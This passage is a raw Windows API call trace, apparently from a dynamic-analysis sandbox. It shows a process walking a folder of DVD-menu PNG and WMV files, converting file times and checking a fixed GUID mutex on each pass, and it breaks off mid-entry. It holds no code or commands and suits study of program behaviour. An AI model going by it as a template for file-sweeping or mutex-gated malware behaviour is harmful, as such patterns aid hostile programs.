lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.103] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.103] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.103] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.103] GlobalUnlock (hMem=0x440004) returned 0 [0058.103] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.103] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.103] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.103] GlobalUnlock (hMem=0x440004) returned 0 [0058.104] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.104] GlobalUnlock (hMem=0x44000c) returned 0 [0058.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.104] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0058.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.104] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.104] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.104] GlobalUnlock (hMem=0x44000c) returned 0 [0058.104] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.104] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.104] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.104] GlobalUnlock (hMem=0x44000c) returned 0 [0058.104] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.104] GlobalUnlock (hMem=0x440004) returned 0 [0058.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.104] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0058.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.104] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.104] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.104] GlobalUnlock (hMem=0x440004) returned 0 [0058.104] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.104] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.104] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.104] GlobalUnlock (hMem=0x440004) returned 0 [0058.104] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.105] GlobalUnlock (hMem=0x44000c) returned 0 [0058.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.105] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0058.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.105] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.105] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.105] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.105] GlobalUnlock (hMem=0x44000c) returned 0 [0058.105] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.105] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.105] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.105] GlobalUnlock (hMem=0x44000c) returned 0 [0058.105] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.105] GlobalUnlock (hMem=0x440004) returned 0 [0058.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.105] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0058.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.105] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.105] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.105] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.105] GlobalUnlock (hMem=0x440004) returned 0 [0058.105] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.105] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.105] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.105] GlobalUnlock (hMem=0x440004) returned 0 [0058.105] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.105] GlobalUnlock (hMem=0x44000c) returned 0 [0058.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.106] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.106] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.106] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.106] GlobalUnlock (hMem=0x44000c) returned 0 [0058.106] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.106] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.106] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.106] GlobalUnlock (hMem=0x44000c) returned 0 [0058.106] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.106] GlobalUnlock (hMem=0x440004) returned 0 [0058.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.106] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0058.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.106] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.106] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.106] GlobalUnlock (hMem=0x440004) returned 0 [0058.106] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.106] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.106] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.106] GlobalUnlock (hMem=0x440004) returned 0 [0058.106] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.106] GlobalUnlock (hMem=0x44000c) returned 0 [0058.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.106] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0058.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.107] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.107] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.107] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.107] GlobalUnlock (hMem=0x44000c) returned 0 [0058.107] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.107] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.107] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.107] GlobalUnlock (hMem=0x44000c) returned 0 [0058.107] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.107] GlobalUnlock (hMem=0x440004) returned 0 [0058.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.107] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0058.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.107] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.107] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.107] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.107] GlobalUnlock (hMem=0x440004) returned 0 [0058.107] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.107] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.107] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.107] GlobalUnlock (hMem=0x440004) returned 0 [0058.107] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.107] GlobalUnlock (hMem=0x44000c) returned 0 [0058.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.107] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0058.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.107] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.108] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.108] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.108] GlobalUnlock (hMem=0x44000c) returned 0 [0058.108] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.108] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.108] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.108] GlobalUnlock (hMem=0x44000c) returned 0 [0058.108] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.108] GlobalUnlock (hMem=0x440004) returned 0 [0058.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.108] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0058.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.108] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.108] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.108] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.108] GlobalUnlock (hMem=0x440004) returned 0 [0058.108] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.108] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.108] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.108] GlobalUnlock (hMem=0x440004) returned 0 [0058.108] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.108] GlobalUnlock (hMem=0x44000c) returned 0 [0058.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.108] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0058.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.108] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.109] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.109] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.109] GlobalUnlock (hMem=0x44000c) returned 0 [0058.109] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.109] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.109] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.109] GlobalUnlock (hMem=0x44000c) returned 0 [0058.109] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.109] GlobalUnlock (hMem=0x440004) returned 0 [0058.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.109] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0058.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.109] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.109] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.109] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.109] GlobalUnlock (hMem=0x440004) returned 0 [0058.109] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.109] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.109] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.109] GlobalUnlock (hMem=0x440004) returned 0 [0058.109] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.109] GlobalUnlock (hMem=0x44000c) returned 0 [0058.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.109] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0058.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.109] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.109] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.109] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.109] GlobalUnlock (hMem=0x44000c) returned 0 [0058.110] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.110] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.110] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.110] GlobalUnlock (hMem=0x44000c) returned 0 [0058.110] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.110] GlobalUnlock (hMem=0x440004) returned 0 [0058.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.110] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0058.110] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.110] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.110] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.110] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.110] GlobalUnlock (hMem=0x440004) returned 0 [0058.110] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.110] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.110] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.110] GlobalUnlock (hMem=0x440004) returned 0 [0058.110] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.110] GlobalUnlock (hMem=0x44000c) returned 0 [0058.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.110] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0058.110] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.110] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.110] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.110] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.110] GlobalUnlock (hMem=0x44000c) returned 0 [0058.110] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.111] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.111] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.111] GlobalUnlock (hMem=0x44000c) returned 0 [0058.111] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.111] GlobalUnlock (hMem=0x440004) returned 0 [0058.111] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.111] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0058.111] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.111] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.111] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.111] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.111] GlobalUnlock (hMem=0x440004) returned 0 [0058.111] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.111] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.111] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.111] GlobalUnlock (hMem=0x440004) returned 0 [0058.111] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.111] GlobalUnlock (hMem=0x44000c) returned 0 [0058.111] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.111] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0058.111] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.111] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.111] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.111] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.111] GlobalUnlock (hMem=0x44000c) returned 0 [0058.111] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.111] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.111] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.111] 